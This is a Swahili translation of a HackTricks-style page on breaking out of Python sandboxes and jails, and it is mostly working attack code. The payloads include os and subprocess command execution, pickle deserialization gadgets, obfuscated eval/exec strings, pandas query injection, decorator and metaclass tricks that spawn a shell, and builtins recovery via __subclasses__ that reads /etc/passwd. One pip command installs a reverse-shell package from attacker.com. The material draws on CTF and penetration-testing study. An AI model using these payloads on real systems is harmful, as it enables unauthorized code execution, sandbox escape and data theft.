Bypass Python sandboxes

Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Kikundi cha Usalama cha Kujaribu Kwa Bidii


Hizi ni baadhi ya mbinu za kudukua kulinda sanduku za python na kutekeleza amri za kiholela.

Maktaba za Kutekeleza Amri

Jambo la kwanza unalohitaji kujua ni ikiwa unaweza kutekeleza moja kwa moja nambari na maktaba iliyosha kwa tayari, au ikiwa unaweza kuagiza mojawapo ya maktaba hizi:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Kumbuka kwamba open na read functions zinaweza kuwa na manufaa kusoma faili ndani ya sanduku la python na kuandika namna ya kutekeleza ili kuzunguka sanduku.

Python2 input() function inaruhusu kutekeleza namna ya python kabla ya programu kushindwa.

Python jaribu kupakia maktaba kutoka kwenye saraka ya sasa kwanza (amri ifuatayo itachapisha mahali ambapo python inapakia moduli): python3 -c 'import sys; print(sys.path)'

Zunguka sanduku la pickle na pakiti za python zilizowekwa kwa chaguo-msingi

Pakiti za chaguo-msingi

Unaweza kupata orodha ya pakiti zilizowekwa kabla hapa: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html Tambua kwamba kutoka kwa pickle unaweza kufanya mazingira ya python kupakia maktaba za aina yoyote zilizowekwa kwenye mfumo. Kwa mfano, pickle ifuatayo, ikipakia, itapakia maktaba ya pip kuitumia:

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

Kwa habari zaidi kuhusu jinsi pickle inavyofanya kazi angalia hapa: https://checkoway.net/musings/pickle/

Pakiti ya Pip

Hila iliyoshirikiwa na @isHaacK

Ikiwa una ufikiaji wa pip au pip.main() unaweza kusakinisha pakiti isiyojulikana na kupata kitanzi cha nyuma kwa kuita:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

Unaweza kupakua pakiti ya kuunda reverse shell hapa. Tafadhali, kumbuka kwamba kabla ya kutumia ni lazima uidondue, badilisha setup.py, na weka anwani yako ya IP kwa ajili ya reverse shell:

Pakiti hii inaitwa Reverse. Hata hivyo, ilibuniwa kwa makusudi ili wakati unapoondoka kwenye reverse shell, usaliaji wa usakinishaji utashindwa, hivyo hutaiacha pakiti ya ziada ya python iliyosakinishwa kwenye seva unapoondoka.

Eval-ing python code

Tafadhali kumbuka kwamba exec inaruhusu mistari mingi na ";", lakini eval haifanyi hivyo (angalia walrus operator)

Ikiwa herufi fulani zimepigwa marufuku unaweza kutumia uwakilishi wa hex/octal/B64 kwa ajili ya kupitisha kizuizi:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Maktaba nyingine ambazo huruhusu kutathmini nambari ya python

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

Waendeshaji na mbinu fupi

# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Kupitisha ulinzi kupitia uandishi wa herufi (UTF-7)

Katika makala hii UFT-7 inatumika kusoma na kutekeleza nambari za python za kiholela ndani ya sanduku inayoonekana:

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()

Pia ni rahisi kuidhinisha kwa kutumia taratibu nyingine za kubadilisha, k.m. raw_unicode_escape na unicode_escape.

Utekelezaji wa Python bila simu

Ikiwa uko ndani ya gereza la python ambalo halikuruhusu kufanya simu, bado kuna njia za kutekeleza kazi za kupindukia, namna ya mambo na maagizo.

RCE na mapambo

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE kuunda vitu na kuzidisha

Ikiwa unaweza kutangaza darasa na kuunda kipengee cha darasa hilo unaweza kuandika/kuzidisha njia tofauti ambazo zinaweza kutekelezwa bila kulazimika kuziita moja kwa moja.

RCE na darasa za desturi

Unaweza kurekebisha baadhi ya njia za darasa (kwa kuzidisha njia za darasa zilizopo au kuunda darasa jipya) ili kufanya zitekeleze michocheo ya nambari wakati zinapokuwa zimechochewa bila kuziita moja kwa moja.

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Kuunda vitu na metaclasses

Jambo muhimu ambalo metaclasses zinaturuhusu kufanya ni kuunda kipengele cha darasa, bila kuita konstrukta moja kwa moja, kwa kuunda darasa jipya na darasa lengwa kama metaclass.

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Kuunda vitu na mizunguko

Wakati kosa linapozinduliwa kipengee cha Kosa kinakuwa kimeundwa bila wewe kulazimika kuita konstrukta moja kwa moja (mbinu kutoka kwa @_nag0mez):

class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object

Zaidi ya RCE

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Soma faili kwa msaada wa builtins & leseni

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

Zilizojengwa

Ikiwa unaweza kupata kitu cha __builtins__ unaweza kuingiza maktaba (tambua kwamba unaweza pia kutumia hapa uwasilishaji mwingine wa herufi ulioonyeshwa katika sehemu ya mwisho):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

Hakuna Builtins

Wakati huna __builtins__ hutaweza kuimport kitu chochote wala kusoma au kuandika faili kwani funksheni zote za kimataifa (kama vile open, import, print...) hazijapakiwa. Hata hivyo, kwa chaguo-msingi python huimport moduli nyingi kwenye kumbukumbu. Moduli hizi zinaweza kuonekana kuwa zenye neema, lakini baadhi yao pia huimport funksheni hatari ndani yao ambazo zinaweza kupatikana ili kupata hata utekelezaji wa nambari isiyo na mpangilio.

Katika mifano ifuatayo unaweza kuona jinsi ya kutumia vibaya baadhi ya moduli hizi "zenye neema" zilizopakiwa ili kupata funksheni hatari ndani yao.

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

Python3

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Chini kuna kazi kubwa ya kutafuta tens/hundreds ya mahali ambapo unaweza kupata builtins.

Python2 na Python3

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Mzigo wa kujengwa

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals na locals

Kuchunguza globals na locals ni njia nzuri ya kujua unaweza kupata nini.

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

Hapa chini kuna kazi kubwa ya kupata mamia ya maeneo ambapo unaweza kupata globals.

Kugundua Utekelezaji wa Kiholela

Hapa nataka kueleza jinsi ya kugundua kwa urahisi kazi hatari zaidi zilizopakiwa na kupendekeza mbinu za kudanganya zaidi.

Kupata upatikanaji wa darasa za msingi kwa kuzidisha

Moja ya sehemu nyeti zaidi ya mbinu hii ni kuweza kupata upatikanaji wa darasa za msingi. Katika mifano iliyopita hii ilifanywa kwa kutumia ''.__class__.__base__.__subclasses__() lakini kuna njia zingine zinazowezekana:

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Kupata maktaba hatari zilizopakiwa

Kwa mfano, kwa kujua kwamba na maktaba sys ni inawezekana kuagiza maktaba za aina yoyote, unaweza kutafuta moduli zote zilizopakiwa ambazo zimeagiza sys ndani yao:

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

Kuna mengi, na tunahitaji moja tu kutekeleza amri:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

Tunaweza kufanya kitu sawa na maktaba zingine ambazo tunajua zinaweza kutumika kutekeleza amri:

#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')

#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)